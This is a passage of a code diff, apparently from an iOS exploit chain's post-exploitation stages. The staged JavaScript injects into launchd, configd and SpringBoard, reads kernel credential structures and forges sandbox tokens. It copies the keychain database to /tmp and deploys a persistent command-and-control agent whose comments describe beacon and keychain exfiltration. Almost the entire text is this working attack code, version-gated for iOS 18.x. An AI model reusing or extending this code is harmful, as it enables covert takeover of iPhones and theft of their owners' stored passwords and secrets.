|
||||
} catch (e) {
|
||||
// optional post-exploit module
|
||||
}
|
||||
|
||||
// GHOSTKNIFE: ECDH binary C2 one-shot module harvest (research lab)
|
||||
try {
|
||||
let ghostKnife = new InjectJS(targetProcess, ghostKnifePayload, migFilterBypass);
|
||||
if (ghostKnife.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(ghostKnife.task);
|
||||
ghostKnife.destroy();
|
||||
}
|
||||
} catch (e) {
|
||||
// optional post-exploit module
|
||||
}
|
||||
|
||||
launchdTask.destroy();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
try {
|
||||
start();
|
||||
}
|
||||
catch (error) {
|
||||
// Error handling without logging
|
||||
}
|
||||
finally {
|
||||
Native.callSymbol("exit", 0n);
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,103 @@
|
||||
// PE stage file — progress marker: GET /pe_stage/s1_launchd.js
|
||||
// Eval'd inside pe_worker start(); falls back to inline if fetch fails.
|
||||
function __peStage1() {
|
||||
p7_flog("PEMK-B0 before launchd RemoteCall isLaunchdSafe=1"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s1_pre_launchd"); } catch (_s1a) {}
|
||||
LOG("[PE] creating launchdTask...");
|
||||
launchdTask = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("launchd",migFilterBypass);
|
||||
p7_flog("PEMK-B0 after launchd ctor ok=" + !!(launchdTask && launchdTask.success()) + " fail=" + (globalThis.__peRemoteFail || 0)); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s1_post_launchd"); } catch (_s1b) {}
|
||||
if (!launchdTask.success()) {
|
||||
LOG("[PE] launchdTask FAILED");
|
||||
p7_flog("PEMK-B launchdTask FAILED"); p7_flushLog();
|
||||
try { globalThis.__peAbort = true; } catch (_a) {}
|
||||
return;
|
||||
}
|
||||
LOG("[PE] launchdTask OK, init sandbox...");
|
||||
p7_flog("PEMK-B1 before initWithLaunchdTask"); p7_flushLog();
|
||||
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].initWithLaunchdTask(launchdTask);
|
||||
// Skip deleteCrashReports: first post-ctor launchd token + recursive deleteDir
|
||||
// reboots A13 (iPhone12,x) before createTokens even starts.
|
||||
p7_flog("PEMK-B1 skip deleteCrashReports"); p7_flushLog();
|
||||
p7_flog("PEMK-B1 before createTokens (nui-gate)"); p7_flushLog();
|
||||
try {
|
||||
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].createTokens();
|
||||
LOG("[PE] sandbox tokens created");
|
||||
p7_flog("PEMK-B1 tokens ok"); p7_flushLog();
|
||||
} catch (tokEx) {
|
||||
p7_flog("PEMK-B1 createTokens THREW: " + String(tokEx).slice(0, 120));
|
||||
p7_flushLog();
|
||||
throw tokEx;
|
||||
}
|
||||
|
||||
// ===== Self-process ucred READ-ONLY probe =====
|
||||
// Uses the PROVEN path from sandbox extension code (line 6641-6653):
|
||||
// proc + 0x18 -> credRef + 0x28 -> ucred
|
||||
// ucred + 0x18 = cr_uid (offset 24, matches IDA key 35)
|
||||
// ucred + 0x78 = cr_label (offset 120, matches IDA key 44)
|
||||
try {
|
||||
let C = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"];
|
||||
let HEX = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_5__["default"].hex;
|
||||
let T = libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_3__["default"];
|
||||
|
||||
let selfTask = T.gSelfTask.addr;
|
||||
let selfProcRO = C.read64(selfTask + C.offsets().procRO);
|
||||
let selfProc = C.read64(selfProcRO);
|
||||
LOG("[UCRED] task=" + HEX(C.strip(selfTask)) + " proc=" + HEX(C.strip(selfProc)));
|
||||
|
||||
let credRef = C.read64(selfProc + 0x18n);
|
||||
LOG("[UCRED] credRef=" + HEX(C.strip(credRef)));
|
||||
|
||||
let diag = "proc=" + HEX(C.strip(selfProc));
|
||||
|
||||
if (credRef && C.strip(credRef) >= 0xffffffd000000000n) {
|
||||
let ucred = C.read64(credRef + 0x28n);
|
||||
LOG("[UCRED] ucred=" + HEX(C.strip(ucred)));
|
||||
diag += "|ucred=" + HEX(C.strip(ucred));
|
||||
|
||||
if (ucred && C.strip(ucred) >= 0xffffffd000000000n) {
|
||||
let cr_uid = C.read32(ucred + 0x18n);
|
||||
let cr_ruid = C.read32(ucred + 0x1cn);
|
||||
let cr_svuid = C.read32(ucred + 0x20n);
|
||||
let cr_ngroups = C.read32(ucred + 0x24n);
|
||||
let cr_label = C.read64(ucred + 0x78n);
|
||||
LOG("[UCRED] cr_uid=" + cr_uid + " cr_ruid=" + cr_ruid + " cr_svuid=" + cr_svuid + " cr_ngroups=" + cr_ngroups);
|
||||
LOG("[UCRED] cr_label=" + HEX(C.strip(cr_label)));
|
||||
diag += "|uid=" + cr_uid + "|ruid=" + cr_ruid + "|svuid=" + cr_svuid;
|
||||
diag += "|ngroups=" + cr_ngroups + "|cr_label=" + HEX(C.strip(cr_label));
|
||||
|
||||
// Also dump a few more ucred fields for structure verification
|
||||
for (let doff = 0x00n; doff <= 0x80n; doff += 8n) {
|
||||
try {
|
||||
let val = C.read64(ucred + doff);
|
||||
diag += "|u+" + doff.toString(16) + "=" + HEX(C.strip(val));
|
||||
} catch(e3) {}
|
||||
}
|
||||
} else {
|
||||
diag += "|ucred_INVALID";
|
||||
}
|
||||
} else {
|
||||
diag += "|credRef_INVALID";
|
||||
}
|
||||
|
||||
globalThis.__ucredDiag = diag;
|
||||
LOG("[UCRED] diag=" + diag.substring(0, 200));
|
||||
} catch (probeErr) {
|
||||
globalThis.__ucredDiag = "probe_error:" + String(probeErr);
|
||||
LOG("[UCRED] error: " + probeErr);
|
||||
}
|
||||
// ===== End ucred probe =====
|
||||
|
||||
// Flush Phase 1 log now that sandbox tokens exist
|
||||
if (p7_enableP7) {
|
||||
p7_flog("launchd RC OK, sandbox tokens created");
|
||||
p7_flushLog();
|
||||
}
|
||||
|
||||
// ===== keychain_copier: must run BEFORE P7 Phase 2 sqlite pipeline =====
|
||||
// keepAlive until /tmp DB is usable - destroy() tears RC and kills mid-copy.
|
||||
p7_flog("PEMK-B s1_launchd ok"); p7_flushLog();
|
||||
try { __peClaimRunToken(); } catch (_ct) { try { p7_flog("PEMK-B pe_run_token claim throw: " + _ct); p7_flushLog(); } catch (_e) {} }
|
||||
}
|
||||
|
||||
__peStage1();
|
||||
@@ -0,0 +1,213 @@
|
||||
// PE stage file — progress marker: GET /pe_stage/s2_keychain.js
|
||||
// Eval'd inside pe_worker start(); falls back to inline if fetch fails.
|
||||
function __peStage2() {
|
||||
// Clear stale copier notify so we do not race a previous run.
|
||||
try {
|
||||
var __Nclr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"];
|
||||
__Nclr.callSymbol("unlink", "/tmp/keychain_copier_status.txt");
|
||||
__Nclr.callSymbol("unlink", "/tmp/keychain_mpd_go");
|
||||
__Nclr.callSymbol("unlink", "/tmp/keychain-2.db");
|
||||
} catch (_u) {}
|
||||
|
||||
__labKcCopier = null;
|
||||
var __rcCopyOk = false;
|
||||
var __rcCopySz = -1;
|
||||
|
||||
// Detect iOS version: 18.6.1+ must NOT enter RemoteCall rc_copy (hangs).
|
||||
// 18.6.0 keeps the lab rc_copy primary path unchanged.
|
||||
var __iosV = __labIosForGate();
|
||||
try { globalThis.__labIosVer = __iosV; } catch (_cv) {}
|
||||
// 18.6.1 / 18.6.2: match iOS18nui InjectJS path (no PEMK-C0 rc_copy).
|
||||
var __useNuiKc = (__iosV.maj === 18 && (
|
||||
(__iosV.min === 6 && __iosV.pat >= 1) ||
|
||||
(__iosV.min > 6)
|
||||
));
|
||||
p7_flog("PEMK-C0 ios=" + (__iosV.raw || "?") + " useNuiKc=" + (__useNuiKc ? "1" : "0")); p7_flushLog();
|
||||
|
||||
if (__useNuiKc) {
|
||||
// ===== iOS18nui path (18.6.1 / 18.6.2) =====
|
||||
// applyTokens AFTER evaluateScript hangs on 18.6.2. Use deferStart:
|
||||
// prepare JSC → full applyTokens → startScript → destroy (no post-apply).
|
||||
LOG("[PE-WORKER] inject keychain_copier -> configd (nui 18.6.1+)");
|
||||
p7_flog("PEMK-C0 nui InjectJS begin"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_nui_begin"); } catch (_pi0) {}
|
||||
try {
|
||||
var __kcRC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("configd", migFilterBypass);
|
||||
if (!__kcRC.success()) {
|
||||
LOG("[PE-WORKER] keychain_copier: configd RC failed");
|
||||
p7_flog("PEMK-C0 nui configd RC failed"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_nui_fail"); } catch (_pi2a) {}
|
||||
} else {
|
||||
p7_flog("PEMK-C0 nui configd RC ok -> deferStart+full applyTokens"); p7_flushLog();
|
||||
var kcCopier = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](__kcRC, _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__["default"], migFilterBypass);
|
||||
p7_flog("PEMK-C0 nui InjectJS ctor ok"); p7_flushLog();
|
||||
var __injT0 = Date.now();
|
||||
if (kcCopier.inject(0, { deferStart: true })) {
|
||||
LOG("[PE-WORKER] keychain_copier prepared (deferred)");
|
||||
p7_flog("PEMK-C0 nui defer ok ms=" + (Date.now() - __injT0) + " -> applyTokens"); p7_flushLog();
|
||||
try {
|
||||
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(kcCopier.task);
|
||||
} catch (_atN) {
|
||||
p7_flog("PEMK-C0 nui applyTokens err: " + _atN); p7_flushLog();
|
||||
}
|
||||
kcCopier.startScript();
|
||||
p7_flog("PEMK-C0 nui startScript ok -> destroy"); p7_flushLog();
|
||||
kcCopier.destroy();
|
||||
p7_flog("PEMK-C0 nui destroy ok"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_nui_ok"); } catch (_pi1) {}
|
||||
} else {
|
||||
LOG("[PE-WORKER] keychain_copier FAILED");
|
||||
p7_flog("PEMK-C0 nui inject FAILED ms=" + (Date.now() - __injT0)); p7_flushLog();
|
||||
try { __kcRC.destroy(); } catch (_rd) {}
|
||||
try { pe_alive_ping("pe_s2_nui_fail"); } catch (_pi2) {}
|
||||
}
|
||||
}
|
||||
} catch (kcErr) {
|
||||
LOG("[PE-WORKER] keychain_copier error: " + kcErr);
|
||||
p7_flog("PEMK-C0 nui exception: " + kcErr); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_nui_exc"); } catch (_pi3) {}
|
||||
}
|
||||
// Background copier needs a short settle before Phase2 /tmp open.
|
||||
LOG("[PE-WORKER] waiting 3s for keychain copy (nui)...");
|
||||
for (var __nuiWi = 1; __nuiWi <= 3; __nuiWi++) {
|
||||
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1);
|
||||
}
|
||||
p7_flog("PEMK-C s2_keychain done nui=1 rcCopy=0"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_done"); } catch (_ps2) {}
|
||||
return;
|
||||
}
|
||||
|
||||
// ===== PRIMARY (18.6.0 / non-18.6.1+): RemoteCall copy inside configd =====
|
||||
// Issue fresh Keychains tokens → consume into configd → open/read/write → /tmp.
|
||||
// Avoids InjectJS evaluateScript race that often copies before tokens land.
|
||||
LOG("[PE-WORKER] RemoteCall keychain copy via configd...");
|
||||
p7_flog("PEMK-C0 rc_copy start"); p7_flushLog();
|
||||
try {
|
||||
p7_flog("PEMK-C0 before RemoteCall(configd)"); p7_flushLog();
|
||||
var cfgRc = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("configd", migFilterBypass);
|
||||
p7_flog("PEMK-C0 after RemoteCall success=" + !!(cfgRc && cfgRc.success())); p7_flushLog();
|
||||
if (cfgRc && cfgRc.success()) {
|
||||
var __tokPaths = [
|
||||
"/private/var/Keychains/",
|
||||
"/private/var/Keychains/keychain-2.db",
|
||||
"/private/var/Keychains/keychain-2.db-wal",
|
||||
"/private/var/Keychains/keychain-2.db-shm",
|
||||
"/var/Keychains/",
|
||||
"/var/Keychains/keychain-2.db",
|
||||
"/tmp/",
|
||||
"/private/var/tmp/"
|
||||
];
|
||||
var __tokN = 0;
|
||||
for (var __ti = 0; __ti < __tokPaths.length; __ti++) {
|
||||
if (__labApplyFreshToken(cfgRc, __tokPaths[__ti])) __tokN++;
|
||||
}
|
||||
try {
|
||||
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(cfgRc);
|
||||
} catch (_at) {}
|
||||
p7_flog("PEMK-C0 tokens fresh=" + __tokN); p7_flushLog();
|
||||
|
||||
var __pairs = [
|
||||
["/private/var/Keychains/keychain-2.db", "/tmp/keychain-2.db"],
|
||||
["/private/var/Keychains/keychain-2.db-wal", "/tmp/keychain-2.db-wal"],
|
||||
["/private/var/Keychains/keychain-2.db-shm", "/tmp/keychain-2.db-shm"]
|
||||
];
|
||||
for (var __fi = 0; __fi < __pairs.length; __fi++) {
|
||||
var __cr = __labRcCopyFile(cfgRc, __pairs[__fi][0], __pairs[__fi][1]);
|
||||
p7_flog("PEMK-C0 copy " + __pairs[__fi][1].split("/").pop() +
|
||||
" ok=" + __cr.ok + " sz=" + __cr.sz + " err=" + (__cr.err || ""));
|
||||
p7_flushLog();
|
||||
if (__fi === 0 && __cr.ok && __cr.sz > 1048576) {
|
||||
__rcCopyOk = true;
|
||||
__rcCopySz = __cr.sz;
|
||||
}
|
||||
}
|
||||
if (!__rcCopyOk) {
|
||||
var __cr2 = __labRcCopyFile(cfgRc, "/var/Keychains/keychain-2.db", "/tmp/keychain-2.db");
|
||||
p7_flog("PEMK-C0 copy alt ok=" + __cr2.ok + " sz=" + __cr2.sz + " err=" + (__cr2.err || ""));
|
||||
p7_flushLog();
|
||||
if (__cr2.ok && __cr2.sz > 1048576) {
|
||||
__rcCopyOk = true;
|
||||
__rcCopySz = __cr2.sz;
|
||||
}
|
||||
}
|
||||
if (__rcCopyOk) {
|
||||
__labWriteCopierReady(cfgRc, "/tmp/keychain-2.db", __rcCopySz);
|
||||
try {
|
||||
globalThis.__labKcCopyPath = "/tmp/keychain-2.db";
|
||||
globalThis.__labKcReady = true;
|
||||
} catch (_g) {}
|
||||
p7_flog("PEMK-C0 READY via rc_copy sz=" + __rcCopySz); p7_flushLog();
|
||||
LOG("[PE-WORKER] rc_copy READY sz=" + __rcCopySz);
|
||||
}
|
||||
// Breadcrumbs: last pe_mpd was READY then silence → pin destroy vs InjectJS.
|
||||
p7_flog("PEMK-C0 before cfgRc.destroy"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_pre_destroy"); } catch (_pd0) {}
|
||||
try {
|
||||
cfgRc.destroy();
|
||||
p7_flog("PEMK-C0 after cfgRc.destroy ok"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_post_destroy"); } catch (_pd1) {}
|
||||
} catch (_d) {
|
||||
p7_flog("PEMK-C0 cfgRc.destroy threw: " + _d); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_destroy_err"); } catch (_pd2) {}
|
||||
}
|
||||
} else {
|
||||
p7_flog("PEMK-C0 configd RemoteCall FAILED"); p7_flushLog();
|
||||
LOG("[PE-WORKER] configd RemoteCall FAILED");
|
||||
}
|
||||
} catch (__rcErr) {
|
||||
p7_flog("PEMK-C0 rc_copy exception: " + __rcErr); p7_flushLog();
|
||||
LOG("[PE-WORKER] rc_copy error: " + __rcErr);
|
||||
}
|
||||
|
||||
// ===== SECONDARY: InjectJS keychain_copier (fallback only) =====
|
||||
// (3) rc_copy READY already put db/wal/shm in /tmp — do NOT re-run copier (108MB race).
|
||||
// (2) fallback: deferStart → applyTokens → startScript (tokens before evaluateScript).
|
||||
if (__rcCopyOk) {
|
||||
p7_flog("PEMK-C0 skip InjectJS: rc_copy READY sz=" + __rcCopySz); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_skip_inject_rc_ok"); } catch (_pi0) {}
|
||||
LOG("[PE-WORKER] skip keychain_copier InjectJS (rc_copy READY)");
|
||||
} else {
|
||||
p7_flog("PEMK-C0 before InjectJS ctor (rc_copy miss)"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_pre_inject"); } catch (_pi0) {}
|
||||
LOG("[PE-WORKER] inject keychain_copier -> configd (deferStart then tokens)");
|
||||
try {
|
||||
let kcCopier = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"]("configd", _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__["default"], migFilterBypass);
|
||||
p7_flog("PEMK-C0 InjectJS ctor ok, calling inject(deferStart)"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_inject_call"); } catch (_pi1) {}
|
||||
if (kcCopier.inject(0, { deferStart: true })) {
|
||||
p7_flog("PEMK-C0 inject(defer) returned true"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_inject_ok"); } catch (_pi2) {}
|
||||
LOG("[PE-WORKER] keychain_copier prepared (deferred)");
|
||||
p7_flog("PEMK-C0 before applyTokens"); p7_flushLog();
|
||||
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(kcCopier.task);
|
||||
try {
|
||||
__labApplyFreshToken(kcCopier.task, "/private/var/Keychains/");
|
||||
__labApplyFreshToken(kcCopier.task, "/private/var/Keychains/keychain-2.db");
|
||||
__labApplyFreshToken(kcCopier.task, "/tmp/");
|
||||
} catch (_ft) {
|
||||
p7_flog("PEMK-C0 freshToken warn: " + _ft); p7_flushLog();
|
||||
}
|
||||
p7_flog("PEMK-C0 after applyTokens"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_post_tokens"); } catch (_pi3) {}
|
||||
p7_flog("PEMK-C0 before startScript"); p7_flushLog();
|
||||
kcCopier.startScript();
|
||||
p7_flog("PEMK-C0 after startScript"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_start_script"); } catch (_pi3b) {}
|
||||
LOG("[PE-WORKER] keychain_copier OK (tokens then evaluate)");
|
||||
__labKcCopier = kcCopier;
|
||||
} else {
|
||||
p7_flog("PEMK-C0 inject() returned false"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_inject_fail"); } catch (_pi4) {}
|
||||
LOG("[PE-WORKER] keychain_copier FAILED");
|
||||
}
|
||||
} catch (kcErr) {
|
||||
p7_flog("PEMK-C0 InjectJS/inject exception: " + kcErr); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_inject_exc"); } catch (_pi5) {}
|
||||
LOG("[PE-WORKER] keychain_copier error: " + kcErr);
|
||||
}
|
||||
}
|
||||
p7_flog("PEMK-C s2_keychain done rcCopy=" + __rcCopyOk + " sz=" + __rcCopySz); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_done"); } catch (_ps2) {}
|
||||
}
|
||||
|
||||
__peStage2();
|
||||
@@ -0,0 +1,14 @@
|
||||
// PE stage file — progress marker: GET /pe_stage/s3_mempress.js
|
||||
// Eval'd inside pe_worker start(); falls back to inline if fetch fails.
|
||||
function __peStage3() {
|
||||
// Brief settle then inject c2 BEFORE long DB wait so devices that die mid-copy still beacon.
|
||||
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 2);
|
||||
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].adjustMemoryPressure(targetProcess);
|
||||
LOG("[PE] destroying launchd RC to free zone resources...");
|
||||
try { launchdTask.destroy(); } catch(e) { LOG("[PE] launchd destroy warn: " + e); }
|
||||
|
||||
// ===== Inject loader + c2_agent BEFORE P7 Phase 2 (and before long kc wait) =====
|
||||
p7_flog("PEMK-D s3_mempress launchd destroyed"); p7_flushLog();
|
||||
}
|
||||
|
||||
__peStage3();
|
||||
@@ -0,0 +1,55 @@
|
||||
// PE stage file — progress marker: GET /pe_stage/s4_loader.js
|
||||
// Eval'd inside pe_worker start(); falls back to inline if fetch fails.
|
||||
function __peStage4() {
|
||||
// Fine-grained diag: pin hang to InjectJS ctor / inject() / applyTokens / destroy.
|
||||
LOG("[PE-WORKER] inject loader -> " + targetProcess);
|
||||
p7_flog("PEMK-E0 s4 begin target=" + targetProcess); p7_flushLog();
|
||||
var __s4Ok = false;
|
||||
try {
|
||||
p7_flog("PEMK-E0 before InjectJS ctor"); p7_flushLog();
|
||||
var __tCtor = Date.now();
|
||||
let agentLoader = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__["default"], migFilterBypass);
|
||||
p7_flog("PEMK-E0 InjectJS ctor ok ms=" + (Date.now() - __tCtor)); p7_flushLog();
|
||||
let agentPid = 0;
|
||||
p7_flog("PEMK-E0 before inject()"); p7_flushLog();
|
||||
var __tInj = Date.now();
|
||||
var __injOk = false;
|
||||
try {
|
||||
__injOk = !!agentLoader.inject();
|
||||
} catch (_injE) {
|
||||
p7_flog("PEMK-E0 inject() threw: " + _injE); p7_flushLog();
|
||||
throw _injE;
|
||||
}
|
||||
p7_flog("PEMK-E0 inject() returned ok=" + (__injOk ? "1" : "0") + " ms=" + (Date.now() - __tInj)); p7_flushLog();
|
||||
if (__injOk) {
|
||||
try { agentPid = agentLoader.task.pid(); } catch (_pidE) {
|
||||
p7_flog("PEMK-E0 pid() threw: " + _pidE); p7_flushLog();
|
||||
}
|
||||
LOG("[PE-WORKER] loader OK pid=" + agentPid);
|
||||
p7_flog("PEMK-E0 loader OK pid=" + agentPid + " -> applyTokens"); p7_flushLog();
|
||||
var __tTok = Date.now();
|
||||
try {
|
||||
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(agentLoader.task);
|
||||
p7_flog("PEMK-E0 applyTokens ok ms=" + (Date.now() - __tTok)); p7_flushLog();
|
||||
} catch (_tokE) {
|
||||
p7_flog("PEMK-E0 applyTokens threw ms=" + (Date.now() - __tTok) + " err=" + _tokE); p7_flushLog();
|
||||
throw _tokE;
|
||||
}
|
||||
p7_flog("PEMK-E0 before destroy"); p7_flushLog();
|
||||
try { agentLoader.destroy(); } catch (_dE) {
|
||||
p7_flog("PEMK-E0 destroy warn: " + _dE); p7_flushLog();
|
||||
}
|
||||
p7_flog("PEMK-E0 destroy ok"); p7_flushLog();
|
||||
__s4Ok = true;
|
||||
} else {
|
||||
LOG("[PE-WORKER] loader inject FAILED");
|
||||
p7_flog("PEMK-E0 loader inject FAILED"); p7_flushLog();
|
||||
}
|
||||
} catch (_s4E) {
|
||||
LOG("[PE-WORKER] s4_loader error: " + _s4E);
|
||||
p7_flog("PEMK-E0 exception: " + _s4E); p7_flushLog();
|
||||
}
|
||||
p7_flog("PEMK-E s4_loader done ok=" + (__s4Ok ? "1" : "0")); p7_flushLog();
|
||||
}
|
||||
|
||||
__peStage4();
|
||||
@@ -0,0 +1,123 @@
|
||||
// PE stage file — progress marker: GET /pe_stage/s5_c2.js
|
||||
// Eval'd inside pe_worker start(); falls back to inline if fetch fails.
|
||||
function __peStage5() {
|
||||
// Deadlock: applyTokens AFTER evaluateScript hangs (~2min+). NUI (18.5 / 18.6.1+):
|
||||
// deferStart → full applyTokens → startScript. 18.6.0 uses legacy path below.
|
||||
LOG("[PE-WORKER] inject c2_agent -> " + targetProcess);
|
||||
var __iosC2 = __labIosForGate();
|
||||
// 18.5 / 18.6.1+ / unknown → NUI C2; 18.6.0 keeps legacy (faster, historically OK).
|
||||
var __useNuiC2 = (!(__iosC2.maj) || (__iosC2.maj === 18 && (
|
||||
(__iosC2.min === 5) ||
|
||||
(__iosC2.min === 6 && __iosC2.pat >= 1) ||
|
||||
(__iosC2.min > 6)
|
||||
)));
|
||||
p7_flog("PEMK-F0 ios=" + (__iosC2.raw || "?") + " useNuiC2=" + (__useNuiC2 ? "1" : "0")); p7_flushLog();
|
||||
var __c2Injected = false;
|
||||
try {
|
||||
let c2Code = _raw_loader_c2_agent_js__WEBPACK_IMPORTED_MODULE_17__["default"];
|
||||
try {
|
||||
let diagData = globalThis.__ucredDiag || "no_diag";
|
||||
let diagSnippet = '\nglobalThis.__ucredDiag=' + JSON.stringify(diagData) + ';\nglobalThis.__peInjectTs=' + JSON.stringify(String(Date.now())) + ';\n';
|
||||
c2Code = c2Code.replace('Native.init();', 'Native.init();' + diagSnippet);
|
||||
LOG("[PE-WORKER] ucred diag inserted (" + diagData.length + " chars)");
|
||||
} catch(dErr) {
|
||||
LOG("[PE-WORKER] diag insert error: " + dErr);
|
||||
}
|
||||
// Propagate the baked delivery UUID into the SpringBoard context so c2_agent
|
||||
// beacon/war/keychain exfil lands under the SAME UUID as the delivery logs.
|
||||
// Without this, c2_agent falls back to the hardware IOPlatformUUID and the
|
||||
// two exfil trees diverge (uuid mismatch).
|
||||
try {
|
||||
let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || '').replace(/-/g, '').toUpperCase();
|
||||
if (_duuid && /^[0-9A-F]{16,64}$/.test(_duuid) && _duuid !== '69DD25B2CA8B5682BA2470D77124E2FC') {
|
||||
c2Code = c2Code.split('69DD25B2CA8B5682BA2470D77124E2FC').join(_duuid);
|
||||
c2Code = c2Code.split('__LAB_BAKED_DELIVERY_UUID__').join(_duuid);
|
||||
let uuidSnippet = '\nglobalThis.__LAB_DEVICE_UUID__=' + JSON.stringify(_duuid) + ';\n';
|
||||
c2Code = c2Code.replace('Native.init();', 'Native.init();' + uuidSnippet);
|
||||
LOG("[PE-WORKER] c2_agent delivery UUID injected (" + _duuid + ")");
|
||||
}
|
||||
} catch(uErr) {
|
||||
LOG("[PE-WORKER] c2_agent UUID inject error: " + uErr);
|
||||
}
|
||||
if (__useNuiC2) {
|
||||
p7_flog("PEMK-F0 nui SpringBoard RC begin"); p7_flushLog();
|
||||
var __c2RC = null;
|
||||
for (var __c2Try = 0; __c2Try < 2; __c2Try++) {
|
||||
try { globalThis.__peRemoteFail = 0; } catch (_zf) {}
|
||||
var __tRc = Date.now();
|
||||
try {
|
||||
__c2RC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"](targetProcess, migFilterBypass);
|
||||
} catch (_rcE) {
|
||||
p7_flog("PEMK-F0 SpringBoard RC threw try=" + (__c2Try + 1) + " " + _rcE); p7_flushLog();
|
||||
__c2RC = null;
|
||||
}
|
||||
var __fail = 0;
|
||||
try { __fail = globalThis.__peRemoteFail || 0; } catch (_ff) {}
|
||||
if (__c2RC && __c2RC.success()) {
|
||||
p7_flog("PEMK-F0 SpringBoard RC ok try=" + (__c2Try + 1) + " ms=" + (Date.now() - __tRc)); p7_flushLog();
|
||||
break;
|
||||
}
|
||||
p7_flog("PEMK-F0 SpringBoard RC fail try=" + (__c2Try + 1) + "/2 fail=0x" + Number(__fail).toString(16) + " ms=" + (Date.now() - __tRc));
|
||||
p7_flushLog();
|
||||
if (__c2RC) { try { __c2RC.destroy(); } catch (_rd0) {} }
|
||||
__c2RC = null;
|
||||
// 0x494 = first EXC wait timeout (120s) — retrying usually wastes another 120s.
|
||||
if (Number(__fail) === 0x494) break;
|
||||
try { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("usleep", 2000000); } catch (_us) {}
|
||||
}
|
||||
if (!__c2RC || !__c2RC.success()) {
|
||||
LOG("[PE-WORKER] c2_agent: SpringBoard RC failed");
|
||||
p7_flog("PEMK-F0 SpringBoard RC failed -> war-fallback"); p7_flushLog();
|
||||
__pePostWarDumpFallback("sb_rc_fail");
|
||||
} else {
|
||||
p7_flog("PEMK-F0 SpringBoard RC ok -> deferStart+full applyTokens"); p7_flushLog();
|
||||
var c2Agent = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](__c2RC, c2Code, migFilterBypass);
|
||||
p7_flog("PEMK-F0 InjectJS ctor ok"); p7_flushLog();
|
||||
if (c2Agent.inject(0, { deferStart: true })) {
|
||||
LOG("[PE-WORKER] c2_agent prepared (deferred)");
|
||||
p7_flog("PEMK-F0 c2 defer ok -> applyTokens"); p7_flushLog();
|
||||
try {
|
||||
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(c2Agent.task);
|
||||
} catch (_atC) {
|
||||
p7_flog("PEMK-F0 applyTokens err: " + _atC); p7_flushLog();
|
||||
}
|
||||
c2Agent.startScript();
|
||||
p7_flog("PEMK-F0 c2 startScript ok -> destroy"); p7_flushLog();
|
||||
c2Agent.destroy();
|
||||
__c2Injected = true;
|
||||
try { globalThis.__peC2Injected = true; } catch (_g) {}
|
||||
p7_flog("PEMK-F0 destroy ok"); p7_flushLog();
|
||||
} else {
|
||||
LOG("[PE-WORKER] c2_agent FAILED");
|
||||
p7_flog("PEMK-F0 c2 inject FAILED -> war-fallback"); p7_flushLog();
|
||||
try { __c2RC.destroy(); } catch (_rd) {}
|
||||
__pePostWarDumpFallback("inject_fail");
|
||||
}
|
||||
}
|
||||
} else {
|
||||
p7_flog("PEMK-F0 legacy SpringBoard inject begin"); p7_flushLog();
|
||||
let c2Agent = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, c2Code, migFilterBypass);
|
||||
p7_flog("PEMK-F0 legacy InjectJS ctor ok"); p7_flushLog();
|
||||
if (c2Agent.inject()) {
|
||||
LOG("[PE-WORKER] c2_agent OK - persistent loop started");
|
||||
p7_flog("PEMK-F0 legacy inject ok -> applyTokens"); p7_flushLog();
|
||||
